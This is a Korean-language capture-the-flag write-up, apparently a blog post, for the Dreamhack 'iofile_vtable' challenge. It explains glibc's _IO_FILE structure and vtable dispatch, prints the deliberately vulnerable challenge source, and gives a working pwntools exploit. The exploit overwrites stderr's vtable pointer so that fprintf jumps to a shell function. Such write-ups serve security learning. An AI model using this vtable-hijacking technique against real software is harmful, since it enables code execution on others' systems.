iofile_vtable overwrite

ripemo·2025년 1월 28일

_IO_FILE 구조체

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
  • 구조체의 크기는 0xd0
  • 마지막 8byte는 vtable의 주소이다.

  • __finish : fclose()
  • __xsputn : fwrite()
  • __xsgetn : fread()

vtable_overwrite

  1. 마지막 8byte에 존재하는 vtable의 주소를 따라 이동
  2. 호출한 함수(fclose,fwrite 등)에 따라 인덱스 만큼 증가
  3. 해당 주소로 함수 실행
  • 실제로 vtable 주소를 덮을 때는 인덱스 증가하는 것을 감안하여 주소 작성

iofile_vtable 문제

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char name[8];
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;

    initialize();

    printf("what is your name: ");
    read(0, name, 8);
    while(1) {
        printf("1. print\n");
        printf("2. error\n");
        printf("3. read\n");
        printf("4. chance\n");
        printf("> ");

        scanf("%d", &sel);
        switch(sel) {
            case 1:
                printf("GOOD\n");
                break;
            case 2:
                fprintf(stderr, "ERROR\n");
                break;
            case 3:
                fgetc(stdin);
                break;
            case 4:
                printf("change: ");
                read(0, stderr + 1, 8);
                break;
            default:
                break;
            }
    }
    return 0;
}
  • stderr + 1 : 동적 디버깅을 통해 vtable 주소인 것을 확인

exploit

from pwn import *
import sys

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote("host1.dreamhack.games", 22712)

else:
    p = process("./iofile_vtable")
    
get_shell = 0x000000000040094a
name = 0x6010d0

    
p.sendafter(": ",p64(get_shell))

p.sendlineafter("> ","4")

p.sendafter(": ",p64(name-56))

p.sendlineafter("> ","2")

p.interactive()
  • checksec 확인 결과 no-pie 였기 때문에 get_shell과 name 주소 그대로 사용
  • name에 shell 주소 입력
  • case 4로 이동하여 vtable overwrite
  • case 2를 때문에 fwrite를 실행시킬 것이기 때문에 fwrite의 vtable 인덱스 0x38. 따라서 56만큼 뺀 주소로 overwrite
  • case 2번으로 fwrite 실행함으로써 shell 주소 실행
profile
hackyFrog

0개의 댓글